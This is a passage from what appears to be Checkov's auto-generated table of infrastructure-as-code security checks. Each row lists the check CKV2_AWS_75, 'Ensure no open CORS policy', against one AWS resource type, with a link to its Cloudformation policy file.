[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 578 | CKV2_AWS_75 | resource | aws_default_network_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 579 | CKV2_AWS_75 | resource | aws_default_route_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 580 | CKV2_AWS_75 | resource | aws_default_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 581 | CKV2_AWS_75 | resource | aws_default_subnet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 582 | CKV2_AWS_75 | resource | aws_default_vpc | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 583 | CKV2_AWS_75 | resource | aws_default_vpc_dhcp_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 584 | CKV2_AWS_75 | resource | aws_detective_graph | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 585 | CKV2_AWS_75 | resource | aws_detective_invitation_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 586 | CKV2_AWS_75 | resource | aws_detective_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 587 | CKV2_AWS_75 | resource | aws_detective_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 588 | CKV2_AWS_75 | resource | aws_detective_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 589 | CKV2_AWS_75 | resource | aws_devicefarm_device_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 590 | CKV2_AWS_75 | resource | aws_devicefarm_instance_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 591 | CKV2_AWS_75 | resource | aws_devicefarm_network_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 592 | CKV2_AWS_75 | resource | aws_devicefarm_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 593 | CKV2_AWS_75 | resource | aws_devicefarm_test_grid_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 594 | CKV2_AWS_75 | resource | aws_devicefarm_upload | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 595 | CKV2_AWS_75 | resource | aws_devopsguru_event_sources_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 596 | CKV2_AWS_75 | resource | aws_devopsguru_notification_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 597 | CKV2_AWS_75 | resource | aws_devopsguru_resource_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 598 | CKV2_AWS_75 | resource | aws_devopsguru_service_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 599 | CKV2_AWS_75 | resource | aws_directory_service_conditional_forwarder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 600 | CKV2_AWS_75 | resource | aws_directory_service_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 601 | CKV2_AWS_75 | resource | aws_directory_service_log_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 602 | CKV2_AWS_75 | resource | aws_directory_service_radius_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 603 | CKV2_AWS_75 | resource | aws_directory_service_region | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 604 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 605 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 606 | CKV2_AWS_75 | resource | aws_directory_service_trust | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 607 | CKV2_AWS_75 | resource | aws_dlm_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 608 | CKV2_AWS_75 | resource | aws_dms_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 609 | CKV2_AWS_75 | resource | aws_dms_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 610 | CKV2_AWS_75 | resource | aws_dms_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 611 | CKV2_AWS_75 | resource | aws_dms_replication_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 612 | CKV2_AWS_75 | resource | aws_dms_replication_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 613 | CKV2_AWS_75 | resource | aws_dms_replication_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 614 | CKV2_AWS_75 | resource | aws_dms_replication_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 615 | CKV2_AWS_75 | resource | aws_dms_s3_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 616 | CKV2_AWS_75 | resource | aws_docdb_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 617 | CKV2_AWS_75 | resource | aws_docdb_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 618 | CKV2_AWS_75 | resource | aws_docdb_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 619 | CKV2_AWS_75 | resource | aws_docdb_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 620 | CKV2_AWS_75 | resource | aws_docdb_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 621 | CKV2_AWS_75 | resource | aws_docdb_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 622 | CKV2_AWS_75 | resource | aws_docdb_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 623 | CKV2_AWS_75 | resource | aws_docdbelastic_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 624 | CKV2_AWS_75 | resource | aws_drs_replication_configuration_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 625 | CKV2_AWS_75 | resource | aws_dx_bgp_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 626 | CKV2_AWS_75 | resource | aws_dx_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 627 | CKV2_AWS_75 | resource | aws_dx_connection_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 628 | CKV2_AWS_75 | resource | aws_dx_connection_confirmation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 629 | CKV2_AWS_75 | resource | aws_dx_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 630 | CKV2_AWS_75 | resource | aws_dx_gateway_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 631 | CKV2_AWS_75 | resource | aws_dx_gateway_association_proposal | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 632 | CKV2_AWS_75 | resource | aws_dx_hosted_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 633 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 634 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 635 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 636 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 637 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 638 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 639 | CKV2_AWS_75 | resource | aws_dx_lag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 640 | CKV2_AWS_75 | resource | aws_dx_macsec_key_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 641 | CKV2_AWS_75 | resource | aws_dx_private_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 642 | CKV2_AWS_75 | resource | aws_dx_public_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 643 | CKV2_AWS_75 | resource | aws_dx_transit_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 644 | CKV2_AWS_75 | resource | aws_dynamodb_contributor_insights | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 645 | CKV2_AWS_75 | resource | aws_dynamodb_global_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 646 | CKV2_AWS_75 | resource | aws_dynamodb_kinesis_streaming_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 647 | CKV2_AWS_75 | resource | aws_dynamodb_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 648 | CKV2_AWS_75 | resource | aws_dynamodb_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 649 | CKV2_AWS_75 | resource | aws_dynamodb_table_export | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 650 | CKV2_AWS_75 | resource | aws_dynamodb_table_item | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 651 | CKV2_AWS_75 | resource | aws_dynamodb_table_replica | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 652 | CKV2_AWS_75 | resource | aws_dynamodb_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 653 | CKV2_AWS_75 | resource | aws_ebs_default_kms_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 654 | CKV2_AWS_75 | resource | aws_ebs_encryption_by_default | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 655 | CKV2_AWS_75 | resource | aws_ebs_fast_snapshot_restore | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 656 | CKV2_AWS_75 | resource | aws_ebs_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 657 | CKV2_AWS_75 | resource | aws_ebs_snapshot_block_public_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 658 | CKV2_AWS_75 | resource | aws_ebs_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 659 | CKV2_AWS_75 | resource | aws_ebs_snapshot_import | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 660 | CKV2_AWS_75 | resource | aws_ebs_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 661 | CKV2_AWS_75 | resource | aws_ec2_availability_zone_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 662 | CKV2_AWS_75 | resource | aws_ec2_capacity_block_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 663 | CKV2_AWS_75 | resource | aws_ec2_capacity_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 664 | CKV2_AWS_75 | resource | aws_ec2_carrier_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 665 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_authorization_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 666 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 667 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_network_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 668 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 669 | CKV2_AWS_75 | resource | aws_ec2_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 670 | CKV2_AWS_75 | resource | aws_ec2_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 671 | CKV2_AWS_75 | resource | aws_ec2_image_block_public_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 672 | CKV2_AWS_75 | resource | aws_ec2_instance_connect_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 673 | CKV2_AWS_75 | resource | aws_ec2_instance_metadata_defaults | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 674 | CKV2_AWS_75 | resource | aws_ec2_instance_state | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 675 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 676 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route_table_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 677 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 678 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 679 | CKV2_AWS_75 | resource | aws_ec2_network_insights_analysis | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 680 | CKV2_AWS_75 | resource | aws_ec2_network_insights_path | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 681 | CKV2_AWS_75 | resource | aws_ec2_serial_console_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 682 | CKV2_AWS_75 | resource | aws_ec2_subnet_cidr_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 683 | CKV2_AWS_75 | resource | aws_ec2_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 684 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 685 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 686 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_session | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 687 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 688 | CKV2_AWS_75 | resource | 